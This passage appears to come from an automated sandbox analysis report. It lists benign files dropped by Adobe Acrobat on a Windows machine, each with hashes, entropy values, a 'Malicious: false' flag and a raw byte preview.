SSDEEP:	6:iO4wRqN1yq2Pwkn2nKuAl9OmbzNMxIFUtSwRy1ZmwswRQ1RkwOwkn2nKuAl9Ombg:7BRI1yvYfHAa8jFUt7RE/FR6R5JfHAab
MD5:	71C097512D1E000B053DDF5616356754
SHA1:	C305C3EBE5CBB64C588FB6630582F351D727E4DA
SHA-256:	7911233571A984DEF581B5D8548448BD85D8A05DC4861CB42639A60D1649FD63
SHA-512:	66EEC45DB10581305E94B82F11E3727A89055C03725C54753A1EBCF31B64190442ACB3928505764CB10627C462A250E062C0333C42E61E4E6D56CDB629EEE27C
Malicious:	false
Preview:	2025/01/10-11:46:47.547 a74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:46:47.549 a74 Recovering log #3.2025/01/10-11:46:47.550 a74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445000380989683
Encrypted:	false
SSDEEP:	384:yezci5t8iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rbs3OazzU89UTTgUL
MD5:	6CD967547657AE671469E17653522AA4
SHA1:	E3F694E671D6D98808FEADA1B749069F4EE8F6E9
SHA-256:	E7D2072CC1D8119B89037F13117E746265B8F87FA2C964900319C40868CFFA04
SHA-512:	2FB11B65413868C72F5614AD60A2173D0FFDF810BFC8B0E75F5A349AF41BEF4BCAD9FA518CF036A517C3644F1C840992EAF3DEC1A845B79E4AE6D25AF9BFA908
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7728904075450767
Encrypted:	false
SSDEEP:	48:7Mtp/E2ioyVAioy9oWoy1Cwoy14KOioy1noy1AYoy1Wioy1hioybioyioy1noy15:7mpjuAF7XKQztvb9IVXEBodRBkxt
MD5:	5F5C5EAFA39D86A282C03E87B7D98F6B
SHA1:	68FC7ED3EBBE05961DDE2D78EFE4802AEBD3C062
SHA-256:	621EFF13B678F22DFEC079CC2550E540EB67CF82FF35A9076B630E4A8BAD8176
SHA-512:	C69C221D904ADCFBDC13CA1793A6BC50BB26B3BF1F5CA0AB18EE1F793894CCB0BB686449A3C88594D64372399BA2E79A9A2FA569AB911260BE177CFAF23F6548
Malicious:	false
Preview:	.... .c.....De................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7503974515083125
Encrypted:	false
SSDEEP:	3:kkFkldvmtfllXlE/HT8kHltNNX8RolJuRdxLlGB9lQRYwpDdt:kKreT8yTNMa8RdWBwRd
MD5:	6811A3AAA0635313A5919C16F5DB2C1D
SHA1:	EE3206ACF06561B4FCE916706198BFC302098042
SHA-256:	06181AF62B5242496D7131BB23B36B97E1117EDE83E66C7C78864A253BE47913
SHA-512:	8430CCD158B7C8A2A86FB790516229440245A2414F6D6D38D4216D6237400FB54932AFFFBB94E79C2125D2187BAEF02715A8DB91AF2BA00B8B13BE9480D4D3C8
Malicious:	false
Preview:	p...... ........no.A.c..(....................................................... ..........W....%...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKSGDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tDiDImsLNkPlE99SNxAhUe/3
MD5:	728409C26AD9BC3C95E971A076AAAB78
SHA1:	D67C5DD40BFEEA18E5EF74AE4CE6442D60DE2109
SHA-256:	6726E39D6B39A6E4EA3EB46DB5D3439E63CFDFE6A7304B7DB406BC41D26C6F18
SHA-512:	D98978F64D548937AE1629297743AE250B572077186FFC18D910C1F705B1D0CE3A534DA39A661BF19F0894F3D37D12D22F4F9976973E60A329F8177775679096
Malicious:	false
Preview:	p...... .........V.T.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8012

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8012

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.360533344474566
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJM3g98kUwPeUkwRe9:YvXKXTzOYlZc0vJZGMbLUkee9
MD5:	C47D679C91F9F5772E286915A55C3252
SHA1:	8696882396AAA7DF091A4ABA6E859F044D7CBDD1
SHA-256:	6D527257AEC223442CB432784D9598A31A8B30FF6588F2806609ADD2EAEA0EBB
SHA-512:	71AC1FDE43E8C78F733E9763D9AE9AFCAEC5B7A32FD3380333DEAD2E04B96EED1D0D64AC6D08AD2D75B9183E0A9B1EBD0EE7FF756A286904434E5908CF57B64A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311923276507052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfBoTfXpnrPeUkwRe9:YvXKXTzOYlZc0vJZGWTfXcUkee9
MD5:	5A9496C4335A39183E7DFE09A3B26145
SHA1:	F50D5499576D277830B4B5607AD51A7662FC5F3C
SHA-256:	5A73829E1670FD2AF72780373B22AC7BDC8AE41B88C5F056415612D7AD0CB948
SHA-512:	572A694F1E2C596BA790D17C6D421A18831D3F752A1E7D017C6A161A4BC07F32676F209DF368210C2B7400959B8AF2E64DF446C093E51559E6858C1912A57859
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290918311902129
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfBD2G6UpnrPeUkwRe9:YvXKXTzOYlZc0vJZGR22cUkee9
MD5:	81C1BEFC0C52982AC76549C696C7205A
SHA1:	B87B00364E3544BCB7CB0FBD7E44A21BB686039F
SHA-256:	B2FD7CD821D14AD88A1253A23721B55A9F85E7BC4CB9A546A2F3E32AE588A299
SHA-512:	B04EF4285160E2860CD0543C872CABF64D9697CEC559B24CC3A07D3B89605FB4F54AF74A1775AEC74666D12CF1E64949D8D50FD576ACDB0B74AE82ABFBC728A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34744455095595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfPmwrPeUkwRe9:YvXKXTzOYlZc0vJZGH56Ukee9
MD5:	71ED55F8EE15A84B9DBA0BFABE82C24C
SHA1:	3E3E2C3E61EACAF5D0B84CBE379934966A8BD633
SHA-256:	E89A25377838D5090389D1A4D99F54280B069933FE4E40DED66788A1F83B969E
SHA-512:	982DECA0D7BDC12AC4DA1D676D0B70E42B4E2633FE299ADBC03D5294164F5743C44237E17062DE697455A762D0A6B5C07364E321FAA36735C95826CD6E81841F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686992988749855
Encrypted:	false
SSDEEP:	24:Yv6XTlzvspLgE9cQx8LennAvzBvkn0RCmK8czOCCSIQ:Yvi0hgy6SAFv5Ah8cv/N
MD5:	4FACFAB0B2E76AD4E8897D5888F3CBFF
SHA1:	0C55DFA231B6942BB330F90DDE9A083FE5ABE218
SHA-256:	32E883A0FC3D01A72B4B27DB61795424FAF64F6103167987B4EC18BDE182171E
SHA-512:	7823E8970DF73FDA5D796D528587B2CBE582D303A11343C814B6A6AF95CF4792AD3C5BCC898AD7C6E3D556BEBCBD85D51C7CB6B06A107FA5BF46AA984D6FEA10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292727337433176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJf8dPeUkwRe9:YvXKXTzOYlZc0vJZGU8Ukee9
MD5:	EF470813BB17861C0AD959F5A87E27EE
SHA1:	BE93C4ACB81CFA6CCC7BF07D8C78E3FE0E0993DF
SHA-256:	556028B4D25A97092CC56490E575B092693732E4A2D14E533E6AD55C28CF9022
SHA-512:	21B0019D333A17106FCBFEBCF224B2345A7F763D3D687744F44A64405D2AFD2CE9DE51F8A6BD49635D4945B9C5274A4A73D4F20FA893E3B76076B7C8BD55DC31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.296702692193472
Encrypted:	false
